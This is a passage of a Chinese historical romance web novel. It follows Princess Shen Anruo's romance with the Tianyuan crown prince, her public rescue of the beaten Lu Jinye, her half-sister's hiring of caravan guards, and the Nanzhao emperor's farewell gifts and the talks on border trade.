他说话时温热的气息都扑在了自己的侧脸,沈安若忍不住想逃。 “那个那个………这不是没有被发现吗?” 一边说着一边往旁边靠去。 居然躲着自己,商玄澈伸手撑着墙面,二人的脸几乎都要贴在一起了。 “没被发现?若不是本宫及时放了一把火,只怕公主还被困在陆家呢。” 原来是他放的火,就说陆家怎么会忽然起火了?还有这姿势,这不是妥妥的壁咚吗?沈安若总觉得这个姿势好暧昧。 “那个,嘿嘿,多谢太子殿下。” 商玄澈看着她的眼睛。 “那公主准备如何谢谢本宫?” ???这是沈安若此时脑子里的问号,刚刚不是已经到过谢了吗? “要不行明日请太子殿下吃个饭?” 商玄澈闻言眉头微皱。 “本宫住在沈家,吃住不都是公主负责吗?还能作为谢礼?” 的确好像不能,人家也算得上帮了自己大忙了,要不行送一个礼物?可人家是天元的太子,从小什么好东西没见过! “那要不殿下看看本宫的墨香居有没有什么东西是殿下看得上的,就当我送给殿下作为谢礼了。” 看得上的吗?商玄澈看着她的脸,目光变了变。 “本宫看得上的就可以取吗?” 说着抬手轻轻抬起她的下巴,让她抬头看着自己的目光。 啊?这?沈安若有一种他下一刻就要亲上来了的感觉,偏偏不知道为什么,自己好像没办法推开他。 “对,也要垫一下,看得上本宫就送给殿下。” 左右也不过就是一些珠宝首饰摆件罢了,损失一两件也没什么。 商玄澈忽然嘴角勾起一抹笑意。 “可是公主自己说的!” 话落,还不等沈安若反应过来,温热的唇瓣已经贴了上来。 沈安若眼睛一下子瞪圆,还真亲上来了啊? 居然睁眼睛?商玄澈见状伸手扣住她的后脑勺吻的更加缠绵悱恻,左手也搂住了她的腰,让她贴近自己的身子。 商玄澈的吻热烈而深邃,带着不容抗拒的力量,让沈安若感觉几乎无法呼吸。 自己只是偷一点财物,没有想要偷男人啊!腰上的大手烫得自己忍不住浑身发热。 想到她半夜来陆家就是为了帮别的男人取东西,商玄澈的吻忍不住加深,唇齿相依,呼吸缠绕,她的唇总是那么软那么甜,怎么都亲不够。 沈安若的意识开始模糊,她不知道自己是在抗拒还是在迎合,只感觉身体软绵绵的,完全使不上力气,怎么感觉有一种落水的感觉? 终于,商玄澈缓缓分开了双唇,看着沈安若涨得通红的脸庞,他的嘴角勾起了一抹得意的笑意。 “凰仪,接吻都不会换气的吗?” 沈安若大口喘息着,脸颊上犹自带着未消的红晕,她瞪大眼睛看着商玄澈,眼中既有羞愤也有不解。 “你……你怎么能这样?” 商玄澈靠的近,她脸上的红晕隐隐约约,商玄澈伸手捏了捏她的耳垂。 “凰仪不是说,本宫看得上的东西就可以取吗?本宫现在就看上了凰仪,难道凰仪想要反悔?” 第五十九章 被绕晕了 还能如此偷换概念的吗?沈安若先是一愣,然后开口。 “可本宫又不是东西………” 又总感觉哪里不对劲。 “这不对,我是东西………” “我………” 随即咬了咬唇,看着商玄澈,只感觉自己真的是被气笑了,毕竟人在无语的时候是真的会笑的。 看着她咬着唇瓣的模样,商玄澈只感觉她更可爱了,伸手抚摸着她的唇瓣,轻轻的摩擦着。 “不许咬。” 说完低头轻啄了一下她的唇瓣。 “我可以帮你咬。” 为什么感觉这天元的太子像流氓?这么不要脸的话都说出来了,沈安若挑眉看着他的脸。 “太子殿下现在的所言所语,总感觉跟这张脸有些格格不入。” 商玄澈闻言再次低头吻住了她的唇,带着几分凶悍的轻咬着,似乎要将她拆了吞入腹中,左手再一次扶住了她的腰肢,右手抚摸着她的脸庞。 还亲?沈安若感觉脑袋渐渐发昏,忍不住伸手推着他。 商玄澈抓起她的手放在自己的脸上。 “凰仪觉得说的话与这张脸格格不入,那么所做的事情可否…………” 沈安若抬手摸了摸自己的唇瓣,果然肿了,这男人怕不是属狗的,要不是他是太子,真的想一脚给他踹过去。 “流氓。” 商玄澈凑近她两分! “嗯哼?” 沈安若瞪了他一眼,不在说话,真怕自己说什么他不爱听的,他又在亲上来了。 商玄澈看着她眼神带着几分灼热。 “仅此一次!” ????这又是在说什么?沈安若抬头满眼的疑惑。 “什么?” 商玄澈开口提醒了一句。 “陆今也。” “你帮他已经够多了,这种帮他取东西的事情不要有下次。” 沈安若挑了挑眉,眼里带着一抹诧异。 “你吃醋啊?” “不至于吧?他好像才十五还是一个孩子………” 她到底懂不懂男人?商玄澈咬牙切齿的开口。 “十五也可以定亲了。” 也是这里是古代,成亲可早了,沈安若点了点头。 “行,知道了,本宫以后会注意分寸的。” 本来自己也是贪图钱财来的。 商玄澈这才伸手握着她的手,朝沈家的方向走去。 “走吧。” 沈安锦这边。 梨花一早就给沈安锦买了早膳。 “小姐,吃早膳了,这是奴婢一早出去买的,奴婢还让人买了菜回来,午膳上奴婢给小姐做。” 桌子上有一碗粥,两个包子还有咸菜,沈安锦看了一眼,坐到了桌子边。 抬手开始吃东西。 “梨花,我记得南都有一个马帮,只要出银子,就可以帮人运送货物,或者保护人。” 梨花闻言点了点头。 “是的,南都虽然太平,但是外出经商的可能会遇到三费或者遇到一些地方的地头蛇,所以有不少商户都会请马帮的人护送。” 母亲手里虽然这些年培养了一些人,但是都只不过会一点拳脚功夫罢了,想要一路保护自己到天元很难,自己不过就是一个弱女子,若是想要顺利到天元,必须找到高手保护自己,不然还没有等弄死沈安若,只怕是自己在去天元的路上就搭进去了。 “梨花,让人去租一辆马车,把院子里壮实的人挑几个能打得出来,我们去一趟马帮。” 南都的长街上。 陆今也在一家首饰店铺里,拿着一个匕首,匕首上刻着南都二字,他的手里还有一个包裹,包裹鼓鼓的,一看今天就买了不少东西。 这一离开,以后应该不会再回来了,自己在 “东家,这匕首怎么卖。” 店家笑眯眯地迎了上来,“这位小公子真是好眼光,这把匕首可是本店的镇店之宝,由上好的寒铁打造,锋利无比,且刻有南都二字,意义非凡,售价五十两银子。” 陆今也眉头微蹙,五十两对于他来说不是小数目,可这把匕首将可以当做防身的利器,而且具有纪念意义,摸了摸怀中的银两,这是今日玉儿姑娘给的,二百量银子,有一百两是银票,有一百两是各种重量不一样的银子,自己刚刚买茶艺,买一些小东西,又定做了两套衣服,现在还有一百量。 “东家,可否少一些。” 店家看了看他身上的衣服。 “公子,这可是小店的镇店之宝………” 陆今也看着掌柜的开口。 “这位大伯,我这几日就要离开南都了,以后也不知道能否再回来,就想带一点具有纪念意义的东西在身上,我是诚心想买这把匕首,您就少一点,当然,我也知道这是好东西,可是再好的东西,一直摆放在店里的话,也没有太大的意义,不是吗?” 掌柜的闻言沉思片刻。 “公子倒是一个嘴甜的,这样吧,四十八两银子,再少我可不卖了。” 陆今也看了看手里的匕首,一脸的讨好的笑意。 “四十可好?” “大伯,家母也是行商的,我对这种小兵器也是有一些了解的,这次离开南都也是因为我要随家母去行商,想要一个匕首防身用。” 掌柜的闻言看了看他手中的匕首,面色为难。 “公子,实在是少不了,这匕首可是好东西。” 陆今也闻言一脸的遗憾,将匕首放到了桌子上。 “倒是我与它无缘了。” “劳烦大伯了。” 随即转身离开。 心里却默念着。 三…………二……………一 掌柜见他的脚已经踏出门槛了,开口道。 “罢了,卖给你了。” “你这孩子,看着年龄不大,砍价倒是一把好手。” 陆今也回头一脸笑意的开口。 “劳烦大伯了。” 说着将递上了一张银票。 “刚刚我说了嘛,家里也是经商的。” “劳烦大伯找一下零。” 掌柜的一边把匕首递给他,一边接过银票一看,这可不就是五十两银票吗?这孩子难不成家里真的是经商的,还懂砍价,笑着开口。 “行,我这就给你找银子。” 忽然一道愤怒的声音响起来。 “好啊,陆今也,果然是你偷了家里的钱,看我今天不打死你这个小偷,真的是日防夜防家贼难防。” 第六十章 本宫的人也是你能动的 陆今也一回头,只见陆今瑞正一拳头打过来。 急忙侧身避开。 “陆今瑞,你发什么疯?” 陆今也边说边迅速后退几步,与陆今瑞拉开距离,眼神中满是戒备。 四周店铺的客人纷纷投来好奇的目光。 “发疯?哼,你问问你自己做了什么好事!”陆今瑞怒气冲冲,一张脸涨得通红。 陆今也眉头紧皱,眼里闪过一抹厌恶,陆家的人还真是看着都恶心。” “我做什么了?我用自己的钱买东西,跟你有什么关系?” 陆今瑞闻言 “你的钱?哈,你以为我不知道,你哪来的那么多钱?定是你偷了陆家的银子!” “这天底下哪有这么巧的事情,你一离开陆家,陆家就被人偷了,陆今也,我告诉你,你最好把陆家的银子还回来,不然我今天弄死你。” 说着又朝陆今也冲过去。 陆今也用手掌接住他的拳头,怒斥道。 “你在胡说八道什么?我的银子定自然是公主殿下给的。” “公主殿下?哈,你以为我会信?你不过是个被赶出陆家的废物,公主殿下凭什么给你银子?”陆今瑞一脸不屑,眼神中满是嘲讽。 陆今也眼神一凛,声音坚定。 “陆今瑞,你别血口喷人!公主殿下心善,见我生活拮据,才赠我银两,你若是再胡搅蛮缠,我就拉你去见官。” “呸!你少拿公主殿下当挡箭牌!我看你就是偷了陆家的钱不敢承认!”陆今瑞边说边朝陆今也冲过去。 周围的人群开始窃窃私语,对这突如其来的争执感到好奇。 “什么情况?” “听着二人的对话,好像是两兄弟。” “我认识锦衣华服的这位,这不就是陆家公子吗?” “那另外一个也是吗?” “应该是的,刚刚没听见吗?都姓陆呢。” 陆今也再一次躲开。 “陆今瑞,你要是在胡搅蛮缠咱们就官府见。” 居然一次又一次的威胁自己。 陆今瑞立即对身后的小厮吩咐道。 “还不快动手,将这个小偷抓回陆家,居然偷盗陆家的家产,简直就是该死!” 围观的百姓再一次议论纷纷。。 “难不成这陆今也当真是小偷,这好像是陆家的下人。” 陆家的小厮朝陆今也靠近。 陆今瑞的贴身小厮更是开口。 “大公子,你因为跟老爷置气,居然把陆家的财产都搬空了,你还是跟我们回去给老爷一个交代吧,不然我们动起手来,误伤了大公子可就不好了。” 双拳难敌四手,陆今也眉头皱了皱,往一旁退去。 可是很快就被包围了起来。 掌柜的上前开口。 “两位公子,既然是你们的家事,烦请二位公子去到外面动手,这店里的东西都价值不少,银子若是有损坏了,这对二位公子也不是什么好事。陆今瑞闻言大声开口道。 “你这小破店能够值几个银子?” “等到我陆家将这个小偷抓回去,寻回了家产,损坏的东西照价赔你便是。” 随即朝小厮吩咐道。 “还不快动手?” 陆今也拔出刚刚买的匕首。 “我看谁敢?” “我离开陆家的时候,没有拿陆家的一分一毫,今日若是谁敢动我?我这手里的匕首是要见血的。” “你们不过就是陆家的奴才,我现在可是公主殿下身边的人,就算我真的因为自保伤了人或者出了人命,公主殿下也会保下我的。” 陆今瑞闻言一脸的不信。 “行了吧,陆今也,你别拿着鸡毛当令箭了,公主殿下就算一时心善,帮你处理了你母亲的后事,你一个一无是处的废物,还能让公主一次又一次的帮你不成?” “少打着公主的旗号,在这里狐假虎威。” “都动手,谁能够把陆今也打趴下本公子赏十两银子,不,赏一百两银子。” 重赏之下必有勇夫,小厮们都纷纷蠢蠢欲动,面露狠色,一步步向陆今也逼近。 陆今也紧握匕首,目光如炬,环视四周。 几个小厮相视一眼。 “一起上,就算他有匕首又如何!” 陆今也建一起冲过来的小厮,毫不犹豫的眼里露出一抹狠色,抬手就将一个匕首划向了,离自己最近的小厮。 店铺里面响起一声尖叫。 “啊…………我的手。” 陆今也的肩膀上也挨了一拳头,这些人欺人太甚,手中的匕首急忙朝第二个人挥去。 毫不意外第二个人也受伤了,另外一个小司,趁他不注意,一脚踢向他的膝盖处。 “跪下。” 陆今也本来这些年被克扣食物,身子看起来就娇弱,此时被踹了一脚,整个人跟呛了一下,另外一个小时又抬脚踹了他一脚后背,陆今也整个人一下子跪在了地上。 陆今瑞站在他的面前,居高临下的看着他。 “陆今也,只要是我想打你,你就躲不掉。” 说完,抬脚一脚踹在他的胸口。 “说,你把陆家的财产都藏在哪里去了?” 陆今瑞被踹了摔在地上,为什么陆今瑞就是一口咬定自己偷了陆家的银子?难道陆家真的被偷了吗?那也是陆家活该,那些财产本来就不是陆家该有的。 “听不懂你在说什么?我再说一遍,我没有拿陆家的任何东西,你今日若是把我打伤了,公主殿下一定不会放过你。” 陆今瑞闻言脸上的怒意更甚,抬脚又踹了一脚。 “你这个野杂种,偷盗陆家的钱财,还敢威胁我。” 然后一脚又一脚的往陆今也身上踹去。 “我打死你,你这个杂碎。” 围观的人抬手指指点点。 “这怎么打成这样?” “再打下去会不会出人命?” 陆今瑞停下了踹陆今也的动作,不过并不是因为不打他了,而是因为自己踹累了。 “你们动手,给本公子往死里打,今日他只要不说出陆家财产的下落就打死他。” 小厮们闻言都上前往陆今也身上拳打脚踢。 “打死他,刚刚居然还敢伤我们。” “就是,拿一个破匕首下吓唬谁呢?” 那两个受伤的小厮更是喊着。 “多踹他两下,把我的那一份也踹了,居然敢划伤我。” 陆今瑞看着众人。 “诸位看客还不知道吧?这位是陆家的庶子,他的母亲去世以后,陆家好心帮着他料理了后事,结果他居然偷到陆家的财产,让人把陆家所有的财产都搬空,这世界上哪有这么吃里爬外的人?” “今日我不过就是当众给这个小偷一个教训………” 一边说着一边将陆今也得包裹打开,里面的东西一样又一样的洒落出来。 “大家看看,这都是一些名贵的东西,一个庶子哪有银子来买?就是他偷了家里的东西出来挥霍,这个败家子…………” 身上传来剧烈的疼痛,陆今也咬了咬牙,忍着不让自己喊出声来,听着陆今瑞的污蔑红着眼睛开口。 “我没有,我没有偷陆家的银子,我用的银子是公主给我的…………” 陆今瑞闻言厉声开口。 “给我把他拉起来。” 陆今也就如同一条死狗一般的被小斯拉了起来。 陆今瑞抬手一巴掌打在他的脸上。 “居然还敢拿公主来压我?” “过两日公主就要离开南都了,现在正忙着招呼天元太子,哪有心情来管你这点闲事?” 说完又一巴掌打在陆今也的脸色。 陆今也的嘴角已经有了血丝。 拳头紧握,可是挣不开押着自己的小厮,只能一脸恨意的看着陆今瑞。 “公主不会…………” 陆今瑞讲着上一次因为陆今也居然被公主身边的人打了耳光,心里的怒火根本就止不住。 “还敢提公主………我让你提,你这个杂碎………小野种,跟你母亲一样贱………” 一边说着一边朝陆今也打耳光。 忽然一条红绫缠绕让陆今瑞的腰,陆今瑞整个人被红绫带着凌空而起,然后狠狠地砸落到了地上。 “本宫的人也是你能动的?” 第六十一章 捡起来 伴随着一声冷冽而威严的呵斥,人群自动分开,只见沈安若与商玄澈并肩而至。 沈安若手上的红绫又披在了手臂间。 押着陆今也打的小厮急忙放开了陆今也。 陆今也趴在地上,抬头看着沈安若一步一步的走进来,身影与上一次在大街上那样重合,这是第二次了。 陆今瑞一口鲜血吐了出来,可见摔得不轻,整个人挣扎着爬起来。 “公………公主…………” 沈安若微微一笑。 “陆二公子。” 朝玉儿使了一个眼色。 然后扫视了一眼地上洒落一地的东西。 “捡起来。” 玉儿急忙走过去,将陆今也扶了起来,打量着他脸上手上的淤青,忍不住皱眉摇了摇头,这陆公子多少有点倒霉,母亲才刚去世呢,又被人打成这个样子。 这公主不是即将要离开南诏了吗?怎么还有闲情逸致来逛街?陆今瑞脸上带了几分恐惧。 “公主………我………这…………” 看了一眼地上的那些茶叶之类的东西,这是自己刚刚在陆今也面前洒落的,要是自己再亲手捡起来,那不是丢脸了吗? 沈安若挑眉一冷笑。 “捡起来。” “不要让本宫说第三遍。” 陆今也则看了看沈安若,抬手擦拭了嘴角边的血迹,看了一眼陆今瑞,勾起一抹冷笑。 欺软怕硬的东西。 陆今瑞接触到陆今也得意的目光,更不愿意去捡东西。 “公主,你有所不知,陆今也根本就不值得公主帮他,他就是一个小偷,对父亲忤逆不孝,还偷倒了陆家所有的财物…………” 沈安若又笑了,这一次是被蠢笑的,直接朝身边的王司记使了一个眼色。 王司记瞬间就明白了,上前一巴掌打在了陆今瑞脸上。 “放肆,还不将东西捡起来。” 陆今瑞挨了一巴掌,一脸的憋屈,可是这是凰仪公主,自己根本就惹不起,看了一眼陆今也,狠狠的瞪了他一眼,都怪这个杂种。 然后心不甘情不愿的弯腰,将地上的东西捡了起来。 “公主…………” 沈安若看着他还是一脸的笑意。 “不还给当事人吗?” 陆今瑞只好将东西递到了陆今也的面前。 陆今也伸手接过东西。 沈安若的声音再次传来。 “不道歉吗?” 陆今瑞脸色气的一阵青一阵白,这公主以权压人,四周投来指指点点的目光,更是让自己恨不得找一个地缝钻进去,这辈子就没有这么丢人过。 沈安若似乎是耐心已经被耗尽了。 “要本宫说第二遍吗?” 最终,陆今瑞看着陆今也,咬牙切齿的开口。 “对不起!” 沈安若看着二人。 “陆二公子刚刚说什么?” “陆今也偷了陆家的钱财?” 陆今瑞急忙开口。 “对,公主,陆今也他偷了陆家库房里面所有的东西,还请公主替陆家做主。” 沈安若冷笑着点头。 “今日的这出戏还真是有趣啊。” “先不说陆今也他是陆家的嫡出大公子,就算是他真的取了家中的银子也是正常的,就说他离开陆家的时候是与本宫的人一起来的沈家,难不成陆二公子还怀疑本宫的人也偷了陆家的家财?” 自己就是有十个脑袋也不敢怀疑公主身边的,陆今瑞颤颤抖抖的拱手。 “在下不敢怀疑公主殿下身边的人,只不过这陆今也他就算先跟着公主殿下的人离开了,也能够自己折返回去拿了陆家的钱财,还请公主殿下不要被他一时卖惨蒙骗了。” 沈安若听着嘲讽的看着他。 “陆二公子!这陆大人好歹是中武将,听说家中守备的人都是战场上退下来的老兵,你们陆家的库房东西不少吧,就算有人偷盗,怕是要费人费时才能够搬出来,陆今还能一个人将你们陆家的财产都搬空了?” “又或者,陆言身为中武将,警惕性这么低的吗?那么多的箱子抬出府没有及时发现,就这么一点警惕性,愚蠢到了这样,还如何入朝当官?如何上战场打仗?” 围观的百姓又开始吃瓜指指点点。 “是啊,这高门贵府不都是有人守门的吗?” “这库房更是重要的地方,会有专门的人守着的吧,怎么会被偷呢?” “这怕不是故意想找茬吧?” “这么明显的找茬我早就看出来了,而且这陆二公子听说以前就经常欺负大公子。” 陆今瑞被沈安若的话堵的面红耳赤,在听着周围议论的声音,一时之间竟不知如何反驳。 “我………在下………公主,只有他才会偷……” 接触到沈安若冰凉的眼神以后,陆今瑞的声音越来越小,然后没有了声音。 沈安若冷笑一下,缓缓开口。 “污蔑兄长,殴打兄长,不敬南诏公主,不忠不义,来人,拉下去,杖责三十,另外告诉陆言,陆今瑞德行有亏当不了嫡子,其母教子无方,只能一辈子当妾。” 目光看了看陆今也。 “陆夫人教子有方,品德高尚,如今不幸故去,陆家就为其守孝三年吧!” “此事孟家会监督着的,希望陆家动什么叫做知好歹。” 她不只是为自己出头,还为自己的母亲出头,陆今也急忙跪下。 “今也多谢公主。” 商玄澈的目光一直在沈安若身上,她倒是想的面面俱到。 沈安若察觉到他的目光,伸手摸了摸鼻尖,这个男人吃醋是不是有点重啊? “玉儿,你陪着陆公子逛吧。” 随即朝商玄澈开口。 “殿下,我们走吧,继续逛逛。” 商玄澈这才看了一眼陆今也,然后跟上沈安若的脚步。 “凰仪果然心地善良,此举倒是帮陆今也出了一口恶气了。” 沈安若听了无奈的开口。 “谈不上帮他,本宫只不过是见不得宠妾灭妻罢了,毕竟沈家也有一个柳姨娘。” 所以她是在同情吗?是任何人都会同情吗?那若是那个被妾室庶子欺负的人是自己呢?她会如何? 与此同时,沈安锦与梨花已来到马帮门前。马帮的大门敞开着,门口站着几个身材魁梧的大汉,一看便是高手。 沈安锦深吸一口气,迈步走了上前 “请问,这里是马帮吗?我想要雇佣几位高手护送我去天元。” 第六十二章 妇唱夫随 领头的大汉打量了沈安锦一眼,看着她身上的衣服一看就知道这是有钱人家的大小姐。 便客气地回应。 “正是马帮,我们提供各种护送服务。不过,价格不菲,且需看货物与人值不值那个价。” “另外,见我们帮主需要十两银子。” 果然不愧是马帮,见帮助都要收费,沈安锦考梨花使的一个眼神。 梨花上前将十两银子递给壮汉。 壮汉看了看手里的银子。 “你们二人跟我来吧。” 沈安锦与梨花跟随壮汉进入马帮。 只见一路不少人在练武。 沈安锦环顾四周,心中暗自思量:这马帮看起来实力不俗,若真能成为护卫,此行前往天元的安全便多了几分保障。 随着来到一处较为隐秘的会客室。 室内布置简洁而粗犷,墙上挂着各式各样的马鞭和武器,彰显着这里的人们与马背为伴、以武会友的生活。 “稍等片刻,我这就去请帮主。”壮汉说完,便退出了房间,留下沈安锦和梨花二人。 很快门外传来一阵沉重的脚步声,紧接着,一个身材高大、面容刚毅的中年男子走了进来。 壮汉开口介绍道。 “帮主,就是这位姑娘要见你。” 帮主目光锐利的看了一眼沈安锦。 “不知姑娘是想要我们附送物还是人?” 沈安锦闻言温柔的开口。 “小女子想请帮主护送小女子前往天元皇城,不知需要多少银子?” 帮主微微挑眉,似乎在评估这个任务的难度和风险。 “前往天元皇城,路途遥远且多险阻,加之最近边境不太平,价格自然不菲。不过,看姑娘的气质打扮,想必也不在乎这点银两。我们马帮的规矩,先付定金,事成之后再付余款。定金三千两,余款七千两,总共是一万两,姑娘可否出的起这一万两银子。” 沈安锦心中一惊,这价格远超她的预想,但想到此行的重要性,她咬了咬牙,坚定地说。 “只要你们能够保证我的安全,一万两就一万两,我现在给你一千两,明日我们出发的时候我给你两千两,等到了天元皇城,我在天元的家里人会付你剩下的七千两。” 说完拿出手一千两银票。 帮主接过了银票,一边看着银票一边开口。 “那就请姑娘回去准备,明日我们接姑娘出发。” 沈家。 前两日的宴会收了那么多的礼物,南诏的特色基本上都有了,现在也没什么好买的,无非就是买了一些糕点之类的回来。 沈安若与商玄澈一进沈家。 就见沈一山身边的小厮一脸着急的开口。 “公主殿下您可算回来了,宫里来人了,都等了公主半天了。” 不是明日还有一场给天元太子的送别宴吗?舅舅这咋今天还要见自己?沈安若微微点了点头。 “本宫知道了。” 随即朝沈家前厅走去。 一进前厅。 南诏皇身边的太监就迎了上来。 “见过天元太子,见过公主。” “公主,皇上请你和沈大小姐进宫,咱们快走吧。” 看着公公着急的脸色,看来皇帝舅舅真的是等了许久了,沈安若点了点头。 “公公稍等片刻。” 然后看向商玄澈。 “那殿下先回去休息。” 商玄澈却开口道。 “本宫陪你去吧,刚好有事情要见南诏皇。” 沈安若看了一眼外面的天色,这看时间进宫,怕是赶不上出宫了,自己可以住在贵妃宫里,他怎么办?不过谁让人家是天元太子呢,南诏一个小国哪有拒绝人家的道理,这件事等一下让舅舅头疼去吧。 “那走吧。” 南诏的御书房。 南诏皇忍不住皱眉。 “这天色都晚了,凰仪怎么还不来?” 坐在一旁喝茶的沈安昕有点局促,虽然南诏皇派了太医给自己调理身体,但是并未单独见过自己,刚刚说话也还算和蔼,可是自己还是有几分紧张。 “皇上,臣女替若儿请罪,若儿用过午膳以后就陪着天元太子逛街去了,这才与传口谕的太监错过了。” 南诏皇摆了摆手。 “你快起来吧,朕也没有要责怪她,只是想着你们姐妹二人就要出发天元了,朕这心里有点不是滋味。” 贵妃在一旁温柔的开口。 “皇上不要着急,我们再等一等吧,或者皇上你先看一会儿奏折,等他们到了臣妾再喊您。” 南诏皇看了一眼桌子上的奏折。 “算了,不看了,朕还是等着吧。” “朕与她们姐妹多年未见,没想到刚相认呢,凰仪就要去和亲了。” 目光看向姚贵妃。 “凰仪的嫁妆准备得如何?没有差错吧?” 孟贵妃听了急忙开口道。 “皇上你就放心吧,是按照嫡公主出嫁的规格准备的,另外 臣妾私下又添置了一些,孟家这边也准备了十抬嫁妆,会随着和亲队伍出发。” 然后看向了沈安昕。 “另外臣妾也给沈大小姐准备了一些东西,凰仪公主要求沈大小姐一起去天元,臣妾也不知道她对沈大小姐以后的婚事准备如何,就当提前给沈大小姐添嫁妆了。” 沈安昕听得受宠若惊,急忙起身行礼。 “贵妃娘娘,这礼物太贵重了,臣女不敢要。” 孟贵妃见状起身扶起她。 “快起来,本宫叫你安昕吧,凰仪很重视你这个姐姐,本宫也看得出来,你是打心眼里疼爱你的妹妹,听说凰仪这么多年全靠你这个姐姐教养着,你把她教养得很好,如今更是和亲为国分忧,本宫赠送你一些东西你安心收下就好。” “凰仪公主虽然机灵,但是本宫却觉得她不如你沉稳,往后还要你这个当姐姐的多照顾着她。” 沈安昕闻言急忙开口。 “请贵妃娘娘放心,臣女会照顾好妹妹的。” 南诏皇朝身边的太监使了一个眼神,太监很快拿了一个小匣子放在沈安昕身边的桌子上。 “安昕,你们要去天元,路程太远,若是给一些贵重物品也不好带,本来凰仪的嫁妆就不少,所以朕给你准备了一些银票,等以后遇到合心意的人,你自己拿这些银票置办嫁妆吧。” 皇帝舅舅还给自己准备了银票,沈安昕一脸的感动,眼眶忍不住泛红。 “臣女多谢…………” 南诏皇抬了抬手。 “行了,别谢恩了,你也喊朕一声舅舅吧,你们这一走,朕也不知道什么时候能再见你们。” 沈安昕抬头看着南诏皇复杂的神情,乖巧的喊了一声。 “皇帝舅舅。” 南诏皇神情复杂的点了点。 “哎。” 此时小太监进来恭敬的行礼。 “皇上,凰仪公主到了,天元太子也陪着公主一起来了。” 第六十三章 互市 南诏皇一听脸上一下子有了笑意。 “快请。” 然后朝孟贵妃开口。 “看来天元太子与凰仪这几天相处的很好。” 孟贵妃笑着开口。 “臣妾也听说了,这几日他们二人可是形影不离的,看着他们感情这样好,臣妾心里也感到十分的高兴,以后凰仪在天元也有人护着。” 随着沈安若与商玄澈并肩而来。 “见过皇帝舅舅。” 南诏皇看着天元太子打招呼。 “太子殿下。” 商玄澈微微点头。 “本宫陪凰仪进宫,顺便跟南诏皇商议一件事,本宫可以等你们先谈完。” 南诏皇听了点了点头。 “那就劳烦太子殿下先去偏殿喝茶。” 很快公公就上前恭敬的开口。 “太子殿下,这边请。” 孟贵妃知道南诏皇特意见沈安若,肯定是有重要的事情要单独跟她说。 “皇上,臣妾带安昕去找百灵,让他们姐妹二人叙叙旧。” 南诏皇点了点头,孟贵妃带着沈安昕离开。 沈安若看着离开的姐姐,俏皮的眨了眨眼睛。 南诏皇抬手示意。 “凰仪坐吧。” 沈安若在一旁坐下。 “皇帝舅舅怎么会忽然见臣女和姐姐,是有什么重要的事情吗?” 南诏皇看着她开口。 “凰仪,此去天元,是为了与天元交好,南诏不过就是一个小国,边陲邻国凶蛮,以后南诏还需要天元的庇护,你要与天元太子好好的。” 说白了就是弱小的国家要讨好强大的国家,沈安若点了点头。 “舅舅放心,凰仪明白的。” 南诏皇闻言点了点头,随即从怀里摸出一块令牌。 “原本和亲的应该是百灵,此事是舅舅有私心了,但南诏既然说了是最宠爱的公主和亲,那你就是南诏最受宠的公主。” “这枚令牌是朕让人加急打造出来的,你手持令牌可以调动边城五千将士为你所用,另外一块一模一样的玉佩朕已经派人送去边城了,你是一个聪明的孩子,和亲公主的艰难朕也知道,若是在天元有一天性命不保,你就假死脱生,边城将士会接应你。” 说完又拿出来一个盒子。 “这是南诏皇室的秘药,服下以后人七天内如同死了一般。” 然后又拿出一个盒子。 “这里是苗氏这些年进贡给皇室的秘药,只要还有一口气服下它,都能救回性命,里面有三颗。” 这舅舅可以啊,虽然是要替她的女儿和亲,但是这给的东西还真不少,而且五千将士啊,兵权啊。 沈安若急忙笑着将东西收了起来。 “放心吧,舅舅,凰仪一定会维护好南诏和天元的关系。” 南诏皇看着她俏皮的性子,无奈的开口。 “凰仪,你这性子活泼可爱,但是到了天元以后你要收敛一些,凡事多长一个心眼,不要被人算计了,天元太子是储君,只怕后院也是不简单的,你不要轻易的相信任何人…………” 额…………自己看起来很像小白兔吗?沈安若讪讪的笑了笑。 “皇帝舅舅你放心吧,我会照顾好自己的,再说了不是还有太子。” 南诏皇听了缓缓开口。 “朕让你留意了你这几日的行踪,现在看来天元的太子殿下对你是喜欢的,但是凰仪,舅舅以一个男人的角度告诉你,男人的喜欢不会是永久的,可能现在他对你的喜欢是真,但是以后很难说。” “更何况,王公贵族三妻四妾,就算真的有一份很真挚很美好的情谊,只怕是也会被时间淡化,你可以喜欢天元太子,做好他的妻子,但是你不能所有事情都去指望他,你要有自己立足的本事。” 舅舅还是一个清醒,沈安若又乖巧的点头。 “舅舅,你放心,凰仪明白的,凰仪会有分寸的,也会自立自足的,不会让任何人伤害到自己,包括天元太子。” 南诏皇听了这才满意的点了点头。 “你明白就好,不能像你母亲当年那般一味的相信男人………” 说了一句,又感觉此时谈这个话题不合时宜,南诏皇看着沈安若开口。 “天元太子说有一件事情要跟朕商议,你是准备去孟贵妃宫里?还是留下来听听?” 肯定是要留下来听一听的,这是什么样的事情?还要让天元太子特意进宫一趟,沈安若开口道。 “如果可以的话,凰仪想听一听。” 南诏皇闻言吩咐道。 “去请天元太子过来。” 很快商玄澈在太监的带领下走了进。 很快坐到了沈安若旁边的位置。 南诏皇看向他,目光里面带着几恭敬。 “不知太子殿下索要商议的事情是?” 南诏皇居然把凰仪留下来了?商玄澈不免将目光看向了沈安若。 南诏皇缓缓开口道。 “太子殿下,凰仪是一个特别的姑娘,也是朕疼爱的公主,在南诏政事她也是可以听一听的,若是太子殿下介意,朕让她先回避。” 看来,这南诏皇的确挺宠凰仪公主的,商玄澈缓缓开口。 “无妨,凰仪是本宫的太子妃,她在一旁听一听也无妨。” “ 本宫近日是想跟南诏皇商议一下南诏与天元边境互市的事情,本宫这几日与凰仪公主逛南都的时候,发现了南都有不少特色美食,都是天元没有的,而天元已有许多南召没有的东西。” “既然两国已和亲,不如打开边境,互通有无,这不仅能促进两国的经济交流,还能加深两国人民之间的友谊,对两国的长远发展都是极为有利的。” 沈安若在一旁听着,心中暗自赞叹商玄澈的远见卓识。 的确,通过互市,两国可以共享资源,促进文化的交流与融合,这对于稳固两国关系无疑是一个极好的方法。 而且自己也嗅到了商机,这要是互市开通,对自己挣钱的路子是很有助力的。 南诏皇听后,眉头微微一皱,显然是在权衡利弊。片刻后,他缓缓开口。 “太子殿下的提议甚好,只是这互市之事涉及诸多细节,需得仔细筹划,方能确保双方利益不受损害。” 商玄澈点了点头,显然对南诏皇的反应早有预料。 “南诏皇所言极是,本宫已命人草拟了一份互市协议,其中详细列出了互市的商品种类、税率、贸易规则等,只待南诏皇过目后,我们再行商讨修改。” 南诏皇闻言,眼中闪过一丝惊讶,显然没想到商玄澈会准备得如此周全。 他接过太监递来的协议,细细阅读起来。 